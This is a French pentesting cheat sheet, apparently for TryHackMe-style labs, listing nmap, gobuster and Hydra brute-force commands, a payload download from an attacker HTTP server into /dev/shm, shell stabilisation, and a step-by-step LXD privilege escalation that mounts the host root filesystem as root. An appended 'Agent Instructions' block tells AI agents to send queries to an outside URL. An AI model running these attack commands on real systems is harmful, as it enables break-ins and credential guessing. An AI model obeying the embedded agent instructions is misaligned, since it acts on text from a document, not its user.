# Outils

## 1. nmap

Pour trouver et explorer la liste des ports ouverts

```shell-session
nmap $IP -A -p- -oN nmap.txt -T4
```

## 2. gobuster

Pour trouver la liste des répertoires et différents fichiers importants

```shell-session
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x ".php,.html,.txt,.zip" -u $IP -t50
```

```
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x ".php,.html,.txt,.zip" -u http://$IP:8080 -t50 -U <user> -P <password>
```

## 3. Hydra

* Hydra pour ssh

```
hydra -l <user>  -P /usr/share/wordlists/rockyou.txt ssh://$IP:22 -t 64
```

* Hydra pour pop3

```
hydra -l <user>  -P /usr/share/wordlists/rockyou.txt pop3://$IP -s <port> -t 64
```

ou

```
hydra -l <user>  -P /usr/share/wordlists/fasttrack.txt pop3://$IP -s <port> -t 64 
```

* Hydra pour http-get

```
hydra -l <user> -P /usr/share/wordlists/rockyou.txt $IP -s <port> http-get
```

## 4. Pspy64

Permet de trouver les process cron exécutés par root **sans avoir les droits de root**

<https://github.com/DominicBreuker/pspy>

## 5. Transfert de fichiers

Pour transférer des fichiers depuis la machine Kali vers la machine cible:

1. sur la machine Kali
   1. aller dans le répertoire contenant les fichiers à transférer
   2. `python3 -m http.server`
2. sur la machine cible
   1. aller dans le répertoire /dev/shm
   2. `wget < kali tun0 IP>:8000/fichier.à.transférer`
   3. rendre les fichiers exécutables avec `chmod +x`

## 6. Privilege Escalation

Voici la méthode générique que j'utilise pour trouver les possibilités de 'privilege escalation'. Cette méthode est en partie basée sur l'article Linux [Privilege Escalation: Automated Script](https://www.hackingarticles.in/linux-privilege-escalation-automated-script/).

1. sudo -l
2. [suid3num.py](https://github.com/Anon-Exploiter/SUID3NUM/tree/master)
3. getcap -r / 2>/dev/null
4. [pspy64](#id-4.-pspy64)
5. [les.sh](https://github.com/The-Z-Labs/linux-exploit-suggester)
6. [linpeas.sh](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)

## 7. Consolidation d'un Shell

```shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl Z
stty raw -echo; fg
export TERM=xterm  
stty cols 132 rows 34
```

## 8. Escalade de privilèges via LXD

Basé sur cet article: [LXC/LXD (Linux Container/Daemon) Privilege Escalation](https://exploit-notes.hdks.org/exploit/linux/container/lxc-lxd-privilege-escalation/)

Vérifiez que l'utilisateur sur la machine cible fait partie du groupe lxd

```shell
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
```

### 8.1 Sur la machine Kali

Préparez un conteneur linux et lancer un serveur http

```
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server 8000
```

### 8.2 Sur la machine cible

Téléchargez le fichier \<alpine tar.gz> et importez-le comme image dans LXC

```
cd /dev/shm
wget http://<local-ip>:8000/<alpine tar.gz>
lxc image import ./<alpine tar.gz> --alias myimage
lxc image list
```

Créez un nouveau conteneur '**mycontainer**' basé sur l'image '**myimage**' qui vient d'être importée.

```
lxc init myimage mycontainer -c security.privileged=true
```

En cas de message **“**&#x4E;o storage pool found. Please create a new storage poo&#x6C;**.”** initialisez LXD d'abord et relancez la commande.

```
lxd init
```

Montez (mount) le répertoire principal / dans le répertoire /mnt/root du conteneur 'mycontainer' que vous venez de créer

```
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
```

Démarrez votre conteneur

```
lxc start mycontainer
```

Lancez un Shell (note: l'image Alpine ne supporte qu'un shell sh)

```
lxc exec mycontainer /bin/sh
```

Vérifiez que vous êtes bien root

```
whoami
```

Rendez-vous dans le répertoire principal de la machine cible monté en /mnt/root et accédez en tant que root à toutes les données de la machine

```
cd /mnt/root

```

## 9. Outils Stéganographie

Pour trouver le mot de passe et extraire le fichier caché

```
stegseek image.jpg
```

Voici un lien vers une liste d'outils de stéganographie que j'utilise souvent

<https://medium.com/@ria.banerjee005/steganography-tools-techniques-bba3f95c7148>

On y retrouve notamment **strings**, **steghide**, **stegseek** et autres **exiftools**

## 10. WPscan

<https://blog.sucuri.net/2023/12/wpscan-intro-how-to-scan-for-wordpress-vulnerabilities.html>

```bash
wpscan --url http://$IP --api-token xxxxxxxxxxxxxxx --enumerate ap,at,tt,cb,dbe,u | tee wpscan.txt
```

## 11. FFUF&#x20;

ffuf permet de trouver les sous-domaines d'un site donné

```
ffuf -u http://<adresse IP du site> -H "HOST:FUZZ.<nom du site dans /etc/hosts>" -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs {size}
```

un exemple pratique dans la vidéo <https://www.youtube.com/watch?v=AnJiRY3g5sg>

## 12. Sites intéressants

* <https://juggernaut-sec.com/blog/> est rempli de procédures et de méthodes utilisées en hacking.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://thm-solutions.hackethical.be/outils.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
